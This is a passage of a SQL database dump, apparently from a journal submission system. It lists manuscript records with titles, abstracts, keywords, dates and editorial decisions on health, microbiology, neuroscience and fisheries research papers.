sexuality; technology; risk behavior; overview',352,NULL,'2019-07-26',NULL,'Submitted',2,NULL,'2019-09-24',NULL,1,1,'0','Proceed to publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(715,809,45,0,'iphsj-19-715','Breeding and Resting Behaviour of Aedes aegypti in Indoor and Outdoor Environment in Kassala City, Sudan 2014/2015',NULL,14,0,NULL,'In various countries the Aedes mosquito is a known vector of dengue and other viruses\' disease, but its ecology and role in disease transmission in Kassala, Sudan has not been studied yet.  Here, we report on an investigation of seasonal density of potential artificial breeding habitats of Ae. aegypti in Kassala City. Immature Aedes aegypti were collected from various water holding containers during two years 2014/2015 in the three seasons indoor and outdoor of 20 houses in each of 20 clusters. The results revealed that some clusters were found with high density of immature Ae. aegypti while other clusters recorded no developmental stages. Ae. aegypti preferred breeding sites in clay-pots than other containers. Mouth aspirator was found the best method of collection of adult Ae. aegypti. The breeding site during all seasons was the highest in autumn season. Vector control efforts should focus on source reduction of water storage containers, particularly clay-pots, and it is important to create awareness among people in Kassala City to prevent mosquitoes from breeding in water containers.','Aedes aegypti, breeding of mosquitoes, Sudan ',570,NULL,'2019-07-29',NULL,'Submitted',2,NULL,'2019-09-13',NULL,1,1,'1',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(726,499,45,0,'iphsj-19-726','Systematic Review of Major Outcomes of Tranexamic Acid in Cardiac Surgery',NULL,14,0,NULL,'Introduction: In the context of heart surgery, minimizing blood loss during surgery is critical. Tranexamic acid (TA) is an antifibrinolytic agent that has been widely used in other surgical specialties, especially in cardiac. Severe bleeding after cardiac surgery occurs in 3.0 to 11.0% of cases and requires surgical re-exploration in around 5.0% of cases. Objective: Has conducted a systematic review in order to present the main literary findings on the use of tranexamic acid in the context of cardiac surgery. Methods: Following literary search criteria with the use of the MeSH Terms that were cited in the item on \"Search strategies\", a total of 84 clinical studies that were submitted to the eligibility analysis were checked, and after that, 22 studies were selected, following the rules of systematic review-PRISMA. Major findings: the findings of this meta-analysis suggest that intrapericardial use of TA in patients undergoing cardiac surgery may decrease bleeding postoperatively without increasing the risk of postoperative seizures. The target concentration of TA to effectively inhibit fibrinolysis during CPB is 10-20 μg/L. The most frequent adverse effects reported with the use of TA are minor gastrointestinal symptoms, such as nausea and vomiting, especially when given in high doses or injected rapidly. Conclusion: With the use of tranexamic acid, some issues such as the incidence of thrombotic complications still require better elucidation, as well as the route of topical administration. Some authors have recommended a beginning infusion of such drugs after full heparinization in myocardial revascularization surgery, arguing that such a practice does not alter the outcome in terms of bleeding and would reduce the incidence of thrombotic complications.','Cardiac surgery; Tranexamic acid; Tranexamic acid treatment; Blood coagulation; Meta-analysis; Systematic review; Clinical trial',588,NULL,'2019-07-29',NULL,'Submitted',2,NULL,'2019-08-27',NULL,1,1,'1','',0,NULL,NULL,NULL,0,0,0,NULL,0),(747,870,73,0,'ipjnn-19-747','Physiological correlates of arousal: A meta-analytic review',NULL,15,0,NULL,'Background- This paper reviews the physiological correlates of arousal to develop a comprehensive and collective understanding of the physiological correlates of arousal that occurs at different levels, such as emotion, sexual, sleep, mood, cognitive dissonance, and temperament.\r\nObjective- Main objective of this review was to have a clear understanding of the various physiological correlates that are associated with arousal.\r\nMethod- Research articles and books were searched on journals using the keywords ‘physiological correlates of emotional arousal’, ‘physiological correlates of arousal-sleep’, ‘physiological correlates of sexual arousal’.\r\nResults- Results from the review indicated that there are numerous correlates of physiological arousal which are based on changes in bodily mechanisms, such as variations in breathing rate, cardiovascular systems, and changes in functioning in certain brain areas.','Physiological arousal, emotional arousal, sexual arousal, sleep arousal, temperament, brain areas, cardiovascular system, breathing rate',352,NULL,'2019-07-30',NULL,'Submitted',2,NULL,'2019-09-10',NULL,1,1,'0','Dear author,\r\n\r\nit is my pleasure to inform you that our peer review process is completed, and we decided to accept your manuscript entitled \'Physiological correlates of arousal: A meta-analytic review\' for publication in our journal.\r\n\r\nThe authorproof will be send to you in the next days, and you are invite to submit your approval or changes as soon as possible; to avoid delay in publication and posting of your paper.\r\n\r\nCongratulations and thank you for choosing the Journal of Neurology and Neuroscience\r\n\r\nThe editor',0,NULL,NULL,NULL,0,0,0,NULL,0),(816,951,45,0,'iphsj-19-816','The practically wise medical teacher: Medical education at the University of Tromsø – a Norwegian case',NULL,15,0,NULL,'This article addresses the issue of teaching quality in medical education and investigates what characterises a professionally competent or practically wise medical teacher through the use of longitudinal data from interviews with 40 medical students. In discussing the findings, Aristotle’s concepts of episteme, techne and phronesis, and theoretical perspectives on professionalism and quality in teaching are applied. The findings highlight that one is either a practically wise medical teacher or a technical medical teacher. The practically wise medical teacher typically focuses on reflection, experience, participation, formative assessment and discussion in an atmosphere of good relations, which stimulate teaching and learning. The technical medical teacher, on the contrary, knows very little about the students and treats them as onlookers in clinical settings. The analysis results indicate that being a practically wise medical teacher requires a perception of what characterises professionalism in medical education, the ability to use formative assessment and role model consciousness. These findings underline the importance of a good supervisor–learner relationship, which promotes medical teachers’ teaching competence and knowledge of professionalism. The findings also indicate the importance of faculty development in order to improve teaching quality at both the individual and system levels.','Forms of knowledge, medical professional competence, reflective practice, medical students’ experiences, teaching quality',651,NULL,'2019-08-01',NULL,'Submitted',2,NULL,'2019-08-27',NULL,1,1,'1','',0,NULL,NULL,NULL,0,0,0,NULL,0),(820,956,45,0,'iphsj-19-820','Post-traumatic Stress Disorder among Orphans of Boarding School In Jigjiga, Ethiopia: Prevalence and Comorbidity with Depression',NULL,14,0,NULL,'Objective: The purpose of the study was to examine the prevalence of Post-traumatic Stress Disorder (PTSD) and its co morbidity with depression. \r\nMethods: The researchers employed a cross sectional design quantitative method .To collect data for the present study, socio demographic and child abuse questionnaire and two scales (The University of California at Los Angeles Posttraumatic Stress Disorder Reaction Index Post, (UCLA PTSD Index) and children’s depression inventory CDI 2-SR[S] were administered to a sample of 146 males and 38 females that were randomly selected from Jigjiga orphans Boarding School. The data were analyzed using simple descriptive statistics (mean, percentage, and standard deviation), cross tabulation and chi-square.\r\nResults: this study showed a relatively high prevalence of PTSD 16.3%. The result also indicated a statistically significance difference between the depressed and none depressed participants in terms of PTSD (χ2 (1) =10.320, p=.001). However, statistically significance difference was not found between single and double orphans in terms of PTSD. In addition to that, in terms of socio demographic characteristics and PTSD, significant relationship was not found. The same is true when the relationship between PTSD and gender is examined. Besides, among the participants with PTSD symptom male reported more PTSD prevalence (70%) than female (30%). \r\nConclusion: there was higher prevalence PTSD in Jigjiga orphans Boarding School. There was a difference between non depressed and depressed orphans in term of PTSD. Besides, the prevalence of PTSD symptom was higher among male orphans than female orphans. In addition, no statistical deference was found across socio demographic variables in terms PTSD symptom. Therefore, researchers suggested, the school principals and administrators to encourage further research to examine the psychology of those orphans, so that their problems can be understood and practical solutions can be made. Moreover, training on counseling service and child psychology should be given to teachers and caregivers, so that they can clearly understand how to deal with the orphan’s problem.','PTSD (Post-traumatic Stress Disorder), Orphans, Boarding school',652,NULL,'2019-08-01',NULL,'Submitted',2,NULL,'2019-09-13',NULL,1,1,'1',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(917,1081,86,0,'ipaom-19-917','Stroke, carotid thrombosis and other thrombotic events in essential thrombocythemia patient with a high quantity of micromegakaryocytes',NULL,2,0,NULL,'Essential thrombocythemia is a myeloproliferative neoplasm characterized by thrombocytosis and possible complications such as thrombosis, hemorrhage, splenomegaly, bone marrow failure and acute leukemia. In the myeloproliferatives neoplasms, there is an increase number of dysplastic megakaryocytes, known as micromegakaryocytes and there is an association between the high expression of the JAK2V617F mutation and the presence of micromegakaryocytes in bone marrow. To date, reports and researches involving essential thrombocythemia and\r\n1\r\nmicromegakaryocytes are exceedingly scarce. We report a peculiar and unique case of a death of a 55-year-old man, due to stroke and carotid thrombosis, preceded by successive thrombotic events in a patient with essential thrombocythemia, JAK2 positive, with no additional risk factor, who did not respond well to standard treatment and had a high amount of circulating micromegakaryocytes in peripheral blood. This case goes beyond the known prognosis of ET and raises the discussion of new prognostic markers, such as the quantification of micromegakaryocytes and reaffirm the importance of the JAK2 mutation in the evolution of the disease. We also discuss the involvement of micromegakaryocytes in the probable mechanisms leading to our patient’s thrombotic state.',' JAK2 mutation, thrombocytosis, hematology, thrombosis, peripheral blood.',712,NULL,'2019-08-05',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept the manuscript for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(969,499,45,0,'iphsj-19-969','Hospital Outbreak of Respiratory Syncytial Virus in Neonatal Intensive Care Unit. What is the Risk of Admitting External Patients?',NULL,14,0,NULL,'Introduction: Acute viral bronchiolitis caused by Respiratory Syncytial Virus (RSV) may be a manifestation of high severity in ICU-Neonatal patients. The metropolitan region of Campinas registered in 2017, a seasonal epidemic of RSV. The Maternity Hospital of Campinas reported an outbreak of the virus in the same period. Objective: was to report an outbreak of RSV occurring in the Neonatal ICU and to discuss the risk of contact of premature and vulnerable newborns with community-acquired viruses. Methods: Data collection from the evaluation of patient charts with positive nasal lavage for RSV from April to July 2017 at Campinas Maternity and analysis of clinical factors, severity and prognosis of patients. Statistical analysis will be performed with chi-square in the categorical variables and t-student for the continuous variables comparing the newborn (NB) group from the community (external) and infected in the hospital (internal). p <0.05 was considered significant. Results: There were 44 patients with RSV in the period, of whom 32 were external and 12 were internal. The mean Gestational Age of the external ones was 38 weeks and 2 days while the internal gestational age was 29 weeks and 1 day (p <0.001). The hospitalization time was higher in the inpatients (p <0.001). A death associated with infection occurred in the inpatients group. Patients from the community are mostly term-born, with no comorbidities and had a more favorable clinical course. Neonates infected with RSV at the hospital have several risk factors for poor prognosis, with a 13.5% mortality rate reported in the literature. Conclusion: Therefore, it is important to discuss the exposure of this population to community-based infectious agents, mainly viral, and the risk of accepting patients from the community to be admitted to the neonatal ICU.','Hospital outbreak. Respiratory syncytial virus. Neonatal ICU',643,NULL,'2019-08-07',NULL,'Submitted',2,NULL,'2019-08-28',NULL,1,1,'1','',0,NULL,NULL,NULL,0,0,0,NULL,0),(1011,1201,73,0,'ipjnn-19-1011','Study of the protective effects of apigenin on OLN-93 cellular model of cerebral stroke induced by oxygen-glucose deprivation',NULL,14,0,NULL,'Cerebral stroke is known to be the third most common cause of death in the world. To study the pathophysiology and effects of therapeutic agent on stroke, cellular model of stroke recently was used more. ONL-93 oligodendrocyte like cell is known as an appropriate model to study the role of glial cells in stroke.  Apigenin is a flavonoid that has neuroprotective and neurogenic effects, therefore, the purpose of this study was to investigate the role of apigenin flavonoid on the OLN-93 cell line in terms of oxygen and glucose deprivation in the cellular stroke model. The cells were divided into: experimental, negative and positive control groups. Then, MTT, ROS, Anexin & PI, and western blotting assays were performed to evaluate the viability and apoptosis. The results showed that there was a significant increase in the number of live cells following administration of 1 μM of apigenin (P <0.05) in experimental groups and also, there was a significant difference in the number of live cells between two doses of 1μM and 0.75 μM of the apigenin. The amount of ROS produced at a concentration of 1μM was similar to negative control and had a significant decrease compared to the positive control group and apoptotic cells also decreased significantly.The results for expression of P53 protein showed a significant reduction in experimental groups. Based on our results the protection of glial cells in stroke is of the most important, from this point of view apigenin could have beneficial effects that needs more study.',' oxygen and glucose deprivation, apigenin, apoptosis, OLN-93 cell line',338,NULL,'2019-08-08',NULL,'Submitted',4,NULL,'2019-10-15',NULL,1,1,'0','',0,NULL,NULL,2,0,0,0,NULL,0),(1023,1214,251,0,'ipacm-19-1023','Penicillin binding proteins3 and 4 relations between resistance phenotypes and mecA, TEM genes expression in Staphylococcal aureus',NULL,14,0,NULL,'This study were to determine the relationship between pbp3 and pbp4 gene compared with mecA and TEM resistance genes expression patterns. Total 109 clinical S. aureus strains were subjected to 19 antimicrobial susceptibility tests. We detected resistance to methicillin (mecA), penicillin (blaTEM) and expression of pbp (Penicillin-binding proteins) genes. We were compared blaTEM, extended spectrum, carbapenem related genes\r\nand types of SCCmec identified. 109 clinical S. aureus strains, 62 (56.88%) in methicillin resistance, and 60 strains carried mecA. Prevalence rates of blaTEM  and pbp genes were 81.65% and 93.58%. The most predominant was SCCmec type II 28/60 (46.67%) in 60 mecA-positive MRSA. Prevalence rates were type IVA 30.00% (18/60), type IVb 8.33% (5/60), type IVd 6.67% (4/60) and non-typable 8.33% (5/60). Total 60/109 (55.05%) MRSA were positive for extended spectrum 31/60 (51.67%), cephalosporins 40/60 (66.67%) and carbapenems 31/60 (51.67%). The predominant SCCmec type II had more carbapenem resistances than IVA, IVb and IVd. TEM and mecA gene expression were not correlated with pbp gene, and the properties of drug resistance were appeared not associated with pbp3, 4 genes.','MRSA, blaTEM, CCmec type II, type IVA, pbp (Penicillin-binding proteins) gene',774,NULL,'2019-08-08',NULL,'Submitted',2,NULL,'2019-08-28',NULL,1,1,'0','',0,NULL,NULL,NULL,0,0,0,NULL,0),(1024,1215,251,0,'ipacm-19-1024','Multi-drug resistance pattern of Staphylococcus aureus from Paediatric ward, General Hospital, Ikot-Ekpaw,  Mkpat Enin LGA, Akwa-Ibom State, Nigeria',NULL,14,0,NULL,'The evaluation of the Multi-drug resistance pattern of Staphylococcus aureus from a paediatric ward, in Akwa-Ibom State was conducted using standard clinical microbiological procedures. Of the 100 samples from skin, wound, ear, throat and nose swabs, 28 isolates were confirmed as S. aureus and were subjected to a range of selected commercially available antibiotics like: amoxicillin, ampiclox, chloramphenicol, ciprofloxacin, erythromycin, gentamicin, levofloxacin, norfloxacin, rifampicin and streptomycin, to evaluate their susceptibilities. The wound swabs gave the highest isolate percentage yield (32%) followed by skin swabs (29%). While susceptibility results showed that amoxicillin and ampiclox were more resisted by the isolates, while ciprofloxacin, levofloxacin and norfloxacin were more effective against the isolates. The MAR indices showed that 85.7% of the isolates had confirmed multi-drug resistance status, with 60.7% of the isolates having resistance for between four or more the tested antimicrobials. MAR indices revealed that 96.4% of the isolates had 0.3, indicating that the resistance resulted from isolates that adapted to the tested drugs due to some form of abuse. Restricted use of these drugs would help curtail the high resistance currently experienced amongst microorganisms.','multi-drug resistance, Staphylococcus aureus, multiple antibiotics resistance index, susceptibility test, nosocomial infections',775,NULL,'2019-08-08',NULL,'Submitted',2,NULL,'2020-03-20',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(1025,1216,251,0,'ipacm-19-1025','Isolation and Screening of Antibiotic Producing Fungi from Solid-State Waste ',NULL,14,0,NULL,'Title: To evaluate the antimicrobial potential of fungal extracts isolated from solid state waste and study their active constituents.\r\nBackground: Antibiotics are most important secondary metabolite produced by microorganisms,that are commercially exploited for the treatment of infectious diseases worldwide. But with time, these microbial pathogens have become more powerful and resistant from antibiotic treatment, creating new strains that are expensive to treat and difficult to cure. To overcome the multidrug resistant problem, the present study is aimed to explore new bioactive compounds. \r\nMethods and Findings: A total of 22 fungal strains were isolated from solid-state household waste dumping site at Hisar, India. The perpendicular streak plate technique was used for primary screening against three test microorganisms (Staphylococcus aureus, Escherichia coli, and Candida albicans). About 55% of the tested fungal strains showed antimicrobial activity against all the three tested microorganisms. The positive fungal strains were put to secondary screening by Agar well diffusion assay method against eight test microorganisms (Gram positive: Bacillus subtilis, Staphylococcus aureus, Streptococcus gordonii and Gram negative: Pseudomonas aeruginosa, Escherichia coli, Pseudomonas florescense, Salmonella enterica and fungus Candida albicans). The potent fungal strain with maximum zone of inhibition was selected for secondary metabolite extraction with dichloromethane and the crude extract was examined for antimicrobial properties. Analyses of the crude metabolites by Thin Layer Chromatography (TLC) study showed presence of bioactive components with Rf values of 0.88. The results demonstrated that the crude extracts of SSR-16 exhibited great antibacterial activity against all the test bacteria with zone of inhibition as 2.2cm against E.coli and P.aeroginosa, 2.0cm against C.albicans, 1.8cm against B.subtilis and P.florescence, 1.6cm against S.aureus and 1.4cm against S.entericus and S.gordoni. \r\nConclusion: The selected strain SSR-16 was identified as Aspergillus species using 18 S rDNA gene sequence analysis. The study suggests that the selected Aspergillus strain may be a source of potential antimicrobial agents.','Fungi, Solid-state waste, Antimicrobial, TLC',776,NULL,'2019-08-08',NULL,'Submitted',4,NULL,'2019-09-18',NULL,1,1,'1','',0,NULL,NULL,2,0,0,0,NULL,0),(1246,1422,45,0,'iphsj-19-1246','EFFECTIVENESS OF HIV LINKAGE TO HIV POSITIVE CLIENTS ON TREATMENT IN HOSPITALS IN UGANDA: THE CASE OF MENGO AND MUKONO HOSPITALS HIV DEPARTMENTS  ',NULL,14,0,NULL,'Abstract\r\nBackground\r\nThe HIV situation remains a challenge with an expected 36.7 million people infected. In Uganda more than 1,300,000 to 1,600,000 people were living with HIV/AIDS in 2015 out of 44.27 million Ugandans (UNAIDS, 2017), enrolling 230 HIV new infections daily. Despite of the endeavors in HIV/AIDS testing, linkage and enrolment remains a major challenge, adding to a majority testing positive without linkage to care. With this background, the study focused on the analysis of current prevalence rate, opportunistic infections, deaths, and attitude of those tested positive towards enrolling for treatment. The study also examined issues of stigma, denial, distance, negligence, and ignorance. The objectives of the study were to assess the linkage time lag between the time of testing and the time of actual enrollment of clients that test HIV positive. It also aimed to check the reported linkages and actual enrollments and to examine the reasons as to why those linked for care don’t enroll for HIV care services.\r\nMethodology\r\nA total of 72 respondents including doctors, HIV positive clients and counselors were interviewed and secondary data from the hospitals was analyzed through a mixed methodology approach. The study showed a response rate of 87.3% analyzed by characteristics of gender, age, relationship and level of education. However, the study employed mostly qualitative techniques, though quantitative strategies were obtained. Data collection strategies included personal interviews and key informant interviews which were unstructured, and documentation\r\nResults \r\nFindings show the median enrollment into care was 7 hours in females and 24 hours in Males at p-value <0.001 level of significance. Furthermore the study shows that one hour increase in time lag to arrive at enrolment point was associated with 11% increased risk of non-enrolment (uRRs=1.11, 95%CI=1.0-1.2). Approximately there is a gap of 40% between total tests and enrollments from the two hospitals. Some of the reasons given were; stigma, denial, family issues, distance and health expenses.  \r\nConclusion\r\nThe study concluded that many clients, especially men (40%), are not enrolling for care after testing HIV positive. Clients are in denial in the initial stages of knowing they are HIV positive but are already enrolled for care much later. This implies that more priority should be at intensifying community-facility linkage and facility- facility linkage model to bridge the gap. In addition government should enlarge funding in the HIV section to enhance free treatment. Since research showed men are most affected, male involvement and partner notifications will help out in enhancing Men enrollment. With all these combined the linkage gap would be cubed.','HIV/AIDS; HIV Linkage, HIV Enrolment; Uganda',686,NULL,'2019-08-14',NULL,'Submitted',2,NULL,'2019-09-13',NULL,1,1,'1',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(1290,618,85,0,'iphspr-19-1290','One Health Sector’s Similar Criteria for Priority Setting: A Comparative Analysis of Criteria Used for Priority Setting in Six National Health Programs and Those Used across the Health Sector ',NULL,14,0,NULL,'that are responsive to people’s health needs. Consequently, health system decision-makers and administrators are faced with questions about the most efficient way to determine priorities and allocate resources for the best results. Using explicit criteria has been highlighted as an efficient way to distribute resources that align with health system priorities. This study aimed to explore national level priority setting in Uganda based on six cases: HIV, New Technologies - focusing on new vaccines (NT), Maternal, neonatal and child health (MNCH), Non-communicable diseases (NCD), Emergencies and Health Systems Strengthening.\r\nMethods: Semi-structured interviews were conducted with 57 Ugandan health policy makers between 2013 and 2015. Interviewees were identified through a mix of purposive and snowball sampling approaches. Respondents were asked about the pre-requisites for good priority setting as well as priority setting context, processes, implementation, outcome and impact. Initial analysis involved three researchers reading and coding two similar transcripts; the agreed on codes were then used to code the rest of the interviews. Criteria emerged as a main theme, which was further analyzed and forms the basis of this manuscript. \r\nResults: A total of 20 criteria emerged from the semi-structured interviews, 11 of which were mentioned by Ugandan health policy makers as key considerations in decision-making for two or more of the cases reviewed. Many of the overlapping criteria across all six cases are consistent with criteria articulated in the literature. \r\nConclusion: Different programs within the health sector apply different criteria when setting priorities within their respective programs. While some of these criteria overlap with those in the health policy, most of the criteria are program specific. Promoting the use of explicit criteria in decision-making can be an effective tool in ensuring the equitable allocation of resources.','Priority setting; Resource allocation; Low-income country; Uganda; Criteria',471,NULL,'2019-08-16',NULL,'Submitted',2,NULL,'2020-06-05',NULL,1,1,'0',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(1360,1658,45,0,'iphsj-19-1360','BASELINE NOMOGRAM OF HEPATIC DOPPLER PARAMETERS AND THEIR RELATIONSHIP WITH VISCERAL ADIPOSITY IN ABUJA, NIGERIAN.',NULL,14,0,NULL,'Abstract:\r\nBackground: Hepatic Doppler sonography gives vital information that helps in early and accurate detection of many hepatic disorders. The absence of local nomograms may have limited the use of these indices in early and accurate detection of the onset of hepatic diseases among Nigerians. No study has shown the relationship that exists between hepatic Doppler parameters and visceral adiposity.\r\nAim: Our aim is to establish baseline values of the portal vein congestive index (PVCI), hepatic artery resistive index (HARI), hepatic artery pulsatility index (HAPI) and hepatic Doppler perfusion index (HDPI) in a given apparently healthy adult Nigerian population and compare these values with those of other races. We also aim at finding the relationship that may exist between these indices and visceral adipose thickness. \r\nMaterials and Methods: A prospective cross-sectional study with a data capturing sheet was adopted. Diasonics spectra DCN3-2013, Mindray ultrasound machine equipped with Doppler facilities was used. The scan was carried out via two approaches: subcostal approach with the transducer pointing postero-cephalad and angled slightly to the right and right intercostal approach with transducer pointing medially and all Doppler measurements were performed under respiratory suspension in expiration state. The Doppler sample gate was adjusted to 2/3 of the vessel caliber and the transducer oriented along the longitudinal axis of the vessel of interest while the Doppler angles employed were between 30º and 60º. Visceral adipose tissue thickness was measured in the midline of the abdomen, 1 cm above the umbilical scar, during the expiratory phase, without pressure on the abdomen. \r\nResults: Normal values obtained are PVCI (0.069 ± 0.020 cmS); HARI (0.55 ± 0.16); HAPI (1.05 ± 0.11) and HDPI (0.21 ± 0.05). Independent Student’s t-test showed no statistically significant differences in the mean values of these parameters between male and female subjects. Analysis of variance revealed no statistically significant differences among the various age groups except for HDPI that showed age preponderance with age group 60-69 years showing the highest value and age group 30-39 years the lowest value. Pearson’s product moment correlation coefficient revealed that no statistical relationship exists between PVCI and VAT (r = 0.194, p = 0.211); between HARI and VAT (r = 0.036, p = 0.321); between HAPI and VAT (r = 0.027, p = 0.341) but a weak negative correlation exists between HDPI and VAT (r = -0.138, p = 0.081). \r\nConclusion: The baseline values of four important Doppler parameters have been determined in a given apparently healthy adult Nigerian population. No significant differences exist in the values of these parameters between male and female genders and only a little variation is noted among various age groups. Any gross deviations from these values will indicate possible onset of liver pathology even when it is not yet overtly observed with routine ultrasound study. Most of these parameters are unaffected by visceral adiposity.\r\n',' Doppler parameters, Portal vein congestive index, Hepatic artery resistive index, Hepatic artery pulsatility index, Hepatic Doppler perfusion index, Visceral adipose thickness.',386,NULL,'2019-08-18',NULL,'Submitted',4,NULL,'2019-08-28',NULL,1,1,'1','',0,NULL,NULL,4,0,0,0,NULL,0),(1394,1697,86,0,'ipaom-19-1394','COMPARATIVE STUDY ON HUMAN RESOURCE MANAGEMENT IN PRIVATE AND PUBLIC HEALTH FACILITIES IN TIGRAY REGION, ETHIOPIA',NULL,14,0,NULL,'ABSTRACT\r\nHealth care is the act of taking preventative or necessary medical procedures to improve a person\'s well-being. In fact, it is efforts made to maintain or restore physical, mental, or emotional well-being especially by trained and licensed professionals - usually hyphenated when used attributively by health-care providers\r\n\r\nHealth care can be provided through public and private providers. Private healthcare is more common and is used to describe medical services that are not covered by the government. Sound human resources management practices are essential for retaining effective professionals in Hospitals that are addressing health workforce challenges and developing the health workforce strategy of a country. The overall objective of this study is the assessment of competency level of Human resource management practice in the public and private health facilities in Tigray Region, Ethiopia.\r\n\r\nA cross-sectional survey involving 379 human resource employees of the public and private Hospitals found in Tigray regional was carried out from January to march 2019. Participants from each private and public general and primary Hospital were selected using simple random sampling (SRS) and the survey was supplemented by structured questionnaire adopted from literature reviews. The collected data was entered into SPSS Software version 25.0 and was cleaned and analyzed. Descriptive analyses of variance and Binary logistic regression and Cross tabulation with Chi-Square was used. The results were summarized as crude and adjusted odds ratios at 95% confidence intervals.\r\n\r\nThe findings show that there were gaps in Human resource management practices categorized as planning, Recruitment and Selection, Training and development, performance appraisal and compensation/rewards management between the public and private Health facilities and there was a difference when compared to the national standards of Health staff and the existing staff.\r\nOverall, the Study showed that there was a difference in Human resource activities and National Human resources standard of Hospital staff between public and private health facilities.\r\n',' Doctors, Government, Health care, Health Facility, Health Workers, Hospital, Human Resource Management, Management Personal, Management, Medicine, National Standard, Nurses, Performance, Private Health Facility, Public Health Facility, Staff',1639,NULL,'2019-08-19',NULL,'Submitted',4,NULL,'2020-06-05',NULL,1,1,'0','send for revision',0,NULL,NULL,4,0,0,0,NULL,0),(1452,1774,639,0,'ipfs-19-1452','Assessment of technical and economic efficiencies of gillnet types with different as against the usual same, hanging ratios at the top and down ropes, compared with a standard gillnet, in the Volta Lake, Ghana.',NULL,14,0,NULL,'The study was conducted at ten fishing sites, in Stratum VII of the Volta Lake, comparing the technical and economic performances of gillnet types with different as against the usual same, hanging ratios at the top and down ropes, with a standard gillnet of hanging ratio 0.5 at the top and down ropes. The objective was to determine whether gillnet types with different hanging ratios at the top and down ropes could be superior in enhancement of the performance of  monofilament gillnets over the usual gillnet types with same hanging ratios at the top and down ropes, by determining principally the; fishing efficiency, cost efficiency and the index of economic efficiency of the net types, under the same fishing conditions. In April – June 2016, the depth of the fishing sites, the quantity and value of fish caught, and the costs of the fishing operations were determined; and in February 2017, the length frequency distribution of  Oreochromis niloticus and Sarotherodon galileus, caught by the net types was recorded for differences. The results showed that the gillnet types with different hanging ratios at the top and down ropes, recorded superior efficiencies over the gillnet types with same hanging ratios. It was concluded that different hanging ratios, at the top and down ropes, combined with slack netting constituted a superior intervention for enhancing technical and economic efficiencies of monofilament gillnets.','Hanging ratio, slack netting, length frequency distribution, fishing efficiency, cost efficiency, index of economic efficiency',1781,NULL,'2019-08-20',NULL,'Submitted',2,NULL,'2019-09-25',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(1457,1780,73,0,'ipjnn-19-1457','The Vestibular System as An Endogenous Zeitgeber: A Hypothesis',NULL,8,0,NULL,'As sensory organs detect only differences or changes in sensory stimuli, it is impossible for them to detect the constant flow of time. However, as living things have their own sense of time, there is a need for an internal clock that can explain this. According to the principle of relativity, two observers in inertial reference frames that are in motion relative to each other cannot detect their velocity and time but can only detect their relative velocity and time to each other. When a sensory organ is stimulated by two kinds of constant sensory stimuli, it is possible to make out a sensory difference relative to each other to sense it. Otolith organs function as a species-non-specific gravisensor that is used by all animals on Earth and continually receives gravitational stimuli. In order to catch a sensory difference, another sensory stimulus is required. Animals have remarkably constant heartbeats in their lifetime. The heart rate varies for each animal and is inversely related to the lifespan of the animal. Lifespan is species-specific to the length of time animals would live. Heart rates are relatively constant under resting conditions. As infrasonic sounds with a frequency of less than 1 Hz, heartbeats are sensed by the vestibular system. Two kinds of constant sensory stimuli coming from gravity and the heartbeat are all sensed by the vestibular system to detect sensory differences relative to each other. The vestibular system then can create an endogenous zeitgeber by way of this difference.','vestibular system, endogenous zeitgeber, principle of relativity, gravity, heartbeats ',327,NULL,'2019-08-20',NULL,'Submitted',4,NULL,'2020-06-04',NULL,1,1,'0','',0,NULL,NULL,2,0,0,0,NULL,0),(1476,1804,45,0,'iphsj-19-1476','Compliance Towards Infection Control Practice among Clinical Dental Students, Universiti Sains Malaysia, Malaysia ',NULL,14,0,NULL,'The purpose of the present study was to assess the compliance of infection control practice among clinical dental students. We used an audit checklist observing dental students in this cross-sectional study involving 80 4th - and 5th -year dental students at the School of Dental Sciences, Universiti Sains Malaysia. The audit checklist comprised 5 items before treatment, 20 during treatment and 11 after the treatment procedure. Data were analyzed with an SPSS IBM version 24 and a comparison was made using the t-test. A P value < 0.05 was considered significant. The mean compliance percentage toward practice was 90.3% (+ 6.3). Overall, 95.1% of the students had been complying before treatment, 88.7% during treatment and 90% after the treatment procedure. The most non-compliance practices observed were not washing the hands before treatment (56.2%), not wearing PPE and heavy-duty gloves during cleaning procedures (60%) and touching other parts of the body while wearing glove (20%). Female students and year 4 students are more comply with practicing infection control (p< 0.05). The percentage of students comply towards infection control practice was high, but the findings highlight the needs of continued infection control education and monitoring in practices regarding infection control among dental students at the School of Dental Sciences, University Sains Malaysia.','Infection control practice, dental students, audit checklist, Malaysia',692,NULL,'2019-08-21',NULL,'Submitted',2,NULL,'2019-09-13',NULL,1,1,'0',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(1497,1841,73,0,'ipjnn-19-1497','Current Limits of Neurolaw: A Brief Overview',NULL,15,0,NULL,'Nowadays, we are witnessing the increasing scholarly attention to neuroscience achievements in the context of law. However, the complexity of the brain cognitive functions and the performance limits of current neuroscience techniques for discovering the secrets of the brain on one hand, and the need to neurolitigation development with ethico-legal constraints on the other hand, caused some limits in ‘law and neuroscience’. Hence, this paper strives to shed lights on the core limits of current neurolaw in the practical and theoretical contexts. As a conclusion we recognized some main limits in summary, including the problem with: Some assumptions, precise examination, the relation between the brain and mind, data interpretation, the legal validity, the judicial uncertainty, fMRI-based lie detection techniques, the assessment of criminal responsibility, the time, evaluating the dangerousness, unknown center of subjective experience in the brain, ambiguity in reconceptualizing the core concepts of law, determinism, arbitrary legal reasoning, modern neuro-rights, the advanced mind, and neurolegislation.','Law and neuroscience, Neurolaw, Limits, FMRI, EEG',327,NULL,'2019-08-21',NULL,'Submitted',4,NULL,'2020-03-05',NULL,1,1,'0','',0,NULL,NULL,2,0,0,0,NULL,0),(1673,2076,639,0,'ipfs-19-1673','Comparative Analysis of Production Performance in Integrated Aquaculture system  and Single System of Production of Fish, Rice, Poultry and Pig ',NULL,14,0,NULL,'One of the major focuses of the Millennium Development Goal of the United Nation is to ensure food security of the world population. In order to secure food security of the growing human population, it is imperative that agricultural production has to be intensified. An important way of increasing agricultural production is through Integrated Aquaculture (IA). IA is known to diversify production thereby ensuring increase productivity and profitability in an ecofriendly manner. This project assesses the productivity of IA as a method of increasing food production.\r\nTwo integrated combinations, Fish, Rice cum Poultry (FRPo) and Fish, 